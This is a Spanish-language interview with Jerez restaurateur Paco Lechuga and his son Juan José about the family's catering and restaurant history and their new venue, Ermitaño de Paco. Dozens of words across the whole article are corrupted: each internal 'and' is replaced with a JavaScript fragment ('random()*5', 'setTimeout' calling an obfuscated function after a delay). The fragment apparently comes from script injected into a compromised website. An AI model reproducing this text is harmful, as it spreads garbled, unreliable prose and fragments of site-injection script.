La historia de un legado: Los Lechuga

Redacción Andalucía.- Por Jaime Brenes

Hoy les vamos a contar la Historia de un legado, les vamos a hablar de una familia de hosteleros que ha crecido, madurado y ha hecho grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande esta profesión en nuestro país. Se trata de una familia natural de Jerez de la Frontera, Cádiz. Y la historia comienza con Paco, un niño de 12 años que decide un día trabajar de camarero en un bar y aprender de los que enseñan -en aquel entonces- como lo hacen los grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andes maestros.

Aquel niño creció y se convirtió en un muchacho de notables talentos y ávido para los negocios. Fue en 1.985 cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando, Paco Lechuga, un nombre que se ha convertido en una marca dentro del sector, comenzó en solitario a construir su grupo de empresas.

– Paco, buenas tardes. Cuéntanos, cómo recuerdas tus comienzos…

Buenas tardes, Jaime. Bueno, mis comienzos fueron difíciles, yo sólo era un niño cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando comencé en esto, y entonces se trabajaba de lunes a domingo, cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando los fines de semana eran una verdadera locura y a ningún niño le gustaba tener que trabajar esos días. Pero yo inicié mis pasos en el Maypa, al lado de dos grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andes maestros y yo quería ser el mejor mientras estuviera allí.

– ¿Qué te llevó a independizarte?

Supongo que la madurez y la gran seguridad que yo ya tenía en mi mismo. Había aprendido mucho y bien, y tenía muchas ganas. Fue entonces cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando puse en marcha el Rincón de Paco en el año 85, el cual adquirió un gran prestigio y fama en Jerez. Un lugar dónde cuidé mucho la cocina, convirtiéndose así en un lugar de referencia en toda la comarca. Luego quise llegar a lo máximo, que para mí era tener mi propio catering y fue cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando fundé el Catering Don Paco; en un momento de mi vida, llegué a tener hasta 10 salones de celebraciones y tres restaurantes. Todo un sueño realizado.

– Paco, tu eres un hombre sensible. Sabemos que hay un tema que te emociona y te monta el nudo en la garganta sin poder evitarlo. Posiblemente, por tu discreta forma de ser, muy pocos conozcan lo que supuso para ti la pérdida de tu hermano. Para ti fue un antes y un después en tu carrera profesional, ¿me equivoco?

Llevaba más de 20 años en el mundo de la hostelería cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando sucedió. Siendo una persona de referencia en Jerez, la repentina y lastimosa pérdida de mi hermano fue una gran tragedia, porque él era uno de los pilares fundamentales de mi vida, lo pasé realmente mal porque…, él era mi vida. Dejé el Rincón de Paco y los demás negocios en manos de tres personas que estaban en mi empresa y me dediqué a alquilar y a delegar todo el trabajo. Digamos que hice un parón y dejé de estar en primera línea. A la vez que hice este parón, llegó también la crisis y se juntó todo. No es fácil recuperarse de algo tan doloroso.

– Pero la Historia tenía que seguir escribiéndose, Paco.

Bueno, al cabo de los años, me encuentro que tengo dos hijos que me empiezan a ayudar, que empiezan a estar conmigo. Tengo además a los dos hijos de mi hermano, a los que también considero mis hijos, y siento que tengo que seguir luchandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando por ellos. Concretamente, mi hijo Juan José, el mayor y a quien os presento hoy, se ha convertido en un pilar fundamental para mí.

– ¿Podemos decir entonces que nace una nueva Generación en la familia?

Sin duda. Mi hijo Juan José está terminandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando sus estudios en Económicas y le veo muchas cualidades para este negocio, creo que está aprendiendo muchas cosas de mí, mejorándolas incluso gracias a la formación que ha adquirido, y es la persona en la que estoy delegandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando gran parte de responsabilidad. Espero que mi otro hijo, Álvaro, quien también tiene unas magníficas cualidades, se incorpore en un futuro no muy lejano. Y por estos motivos, tanto por mis hijos como por los hijos de mi hermano, tengo que seguir luchandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando en mi vida y aquí estaré enseñándoles todo los que creo que les puede servir para gestionar el negocio cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando yo me retire.

– Has vuelto entonces para apoyar a esta nueva generación de hosteleros que nace en tu familia.

Mi vuelta a la primera línea de la hostelería tras 5 o 6 años estandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando un poco retirado del negocio, la estoy haciendo con este nuevo Ermitaño de Paco y junto a mi hijo Juan José, que de momento va a ser mi mano derecha y va a tener total libertad para aportar ideas nuevas al negocio.

– ¿Qué encontrarán los clientes en este nuevo Ermitaño de Paco?

Quiero tener en este nuevo restaurante un punto de encuentro con mis clientes, recuperar lo que no he tenido en estos últimos años y creo que es algo fundamental. Además, con la ayuda de mis hijos y con un personal que nunca quise dejar, vamos a seguir trabajandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando la cocina tradicional andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andaluza, una cocina jerezana y, como siempre, con materias primas de primera calidad.

– Tienes pensado mantener en tu cocina la linea de siempre

A ver, sé que hay una cocina nueva de la que tengo menos conocimiento y, posiblemente, con la entrada de mis hijos tenga cabida en nuestro restaurante en algún momento,pero siempre manteniendo nuestra base e idiosincrasia. Nuestros clientes son los primeros que la valoran y vienen aquí precisamente por eso. Mis propios hijos le dan mucho valor.Hay que seguir trabajandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando con los productos de nuestra tierra, los productos del mar, soy yo personalmente el que va a las lonjas de Conil, Chipiona, Bárbate y Sanlúcar de Barrameda a seleccionar las mejores piezas, como los atunes rojos. Y si nos vamos al cerdo ibérico, pues tenemos que irnos a Huelva, dónde todos sabemos lo que hay, a Cortegana, Jabuguillo, Badajoz, etc. Ahora que estamos hablandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando de carnes, una de mis aspiraciones es llegar a tener mi propia finca y poder criar mis propios bueyes.

– ¿Cómo te gustaría ver posicionado el nuevo Ermitaño de Paco?

Pues exactamente igual que llegué a ver el antiguo Rincón de Paco y además creo que lo voy a conseguir. Hay una forma de llevar los negocios para la que hay que tener en cuenta la forma en la que tu trasmites, tu carisma, tu persona, el cariño con el que uno trata a las personas y como no el servirles bien de comer. Todas estas cualidades son innatas en las personas, eso es algo que no se puede aprender, y creo que yo reúno estas cualidades y que mi hijo Juan también las reúne. La gente aquí viene a comer pero también viene a verme a mí y ahora también a mi hijo. Comer, se come bien en muchas sitios, pero aquí tenemos “esa cosita” que hace que la gente esté como en su casa y esta cosita es la que yo quiero trasmitirle a mis hijos

– De alguna manera, al delegar ya en tu hijo mayor, ¿estás visualizandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando ya tu retirada?

Es evidente que la nueva generación viene empujandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando y con muchísima fuerza y talento. Yo pensé que me había cortado la coleta pero como los buenos toreros he sentido la necesidad de volver a los ruedos y he podido comprobar que aún tengo una gran cantidad de seguidores. Espero salir de nuevo por la puerta grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande y no defraudarles y volverles a dar lo que había sido mi toreo a la hora de servirles de comer. Mejor retirada que esa satisfacción, no existe. Pero estoy encantado de haber vuelto y espero que este nuevo Ermitaño de Paco vuelva a retomar nuestro nombre y se convierta en un lugar de referencia.

– Juan José, gran legado el que te dejan. Tu padre va a dejar el listón muy alto, lo sabes, ¿no?

Pues llevo trabajandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando con mi padre desde los 14 años, por lo que ya tengo casi 11 años de experiencia. Empecé desde abajo, fregandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando vasos en el

catering, sirviendo en las barras libres. Trabajaba sábados y domingos cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando tenía 16 años; mientras mis amigos estaban disfrutandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando, yo estaba trabajandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando hasta las 6 o 7 de la mañana, pero ahora veo que les llevo una cierta ventaja en el mundo laboral y que quizás he ganado una experiencia que ellos no tienen. Sin duda, que sea mi padre mi maestro ha sido, más que un lujo, un honor; me vendrá realmente bien para hacerme ahora cargo del negocio y poder ayudar a mi padre en todo lo que pueda. Estoy orgulloso de ver ahora que tanto esfuerzo ha dado sus frutos.

– ¿Qué opinas de la cocina que te deja tu padre?

Yo lo que he mamado siempre ha sido la cocina tradicional, con la que ha trabajado mi padre, y creo que esa base es fundamental, podemos poner como ejemplo a Picasso, el cual era capaz de pintar un retrato perfecto, de lo más realista y luego hizo lo que hizo. Pero sin una buena base no hubiera sido posible y no se hubiera convertido en lo que a día de hoy sigue siendo su trabajo. No pintas el Guernica de repente. Igualmente ocurre con el flamenco, tú puedes crear, pero sin una buena base no hay nada que hacer, tienes que saber cuáles son los palos, etc. Y a partir de ahí, pues ya cada uno puede ir creandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando y dandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando su toque personal.Siempre mantendremos nuestra base, aunque iremos aplicandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando nuevas ideas, seguiremos de cerca las tendencias y observandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando el mercado, ya que estamos viendo todos los días que en la cocina hay que innovar y adaptarse a los nuevos tiempos para triunfar. Será un trabajo duro pero tengo muchas ganas y estoy muy ilusionado.

Paco y Juan José, no me queda más que agradecer el tiempo que nos habéis dedicado y que hayáis compartido con nosotros una Historia tan meritoria y ejemplar como la vuestra. Enhorabuena, muchísima suerte y hasta la próxima.

Muchísimas gracias Jaime, aquí tenéis siempre vuestra casa.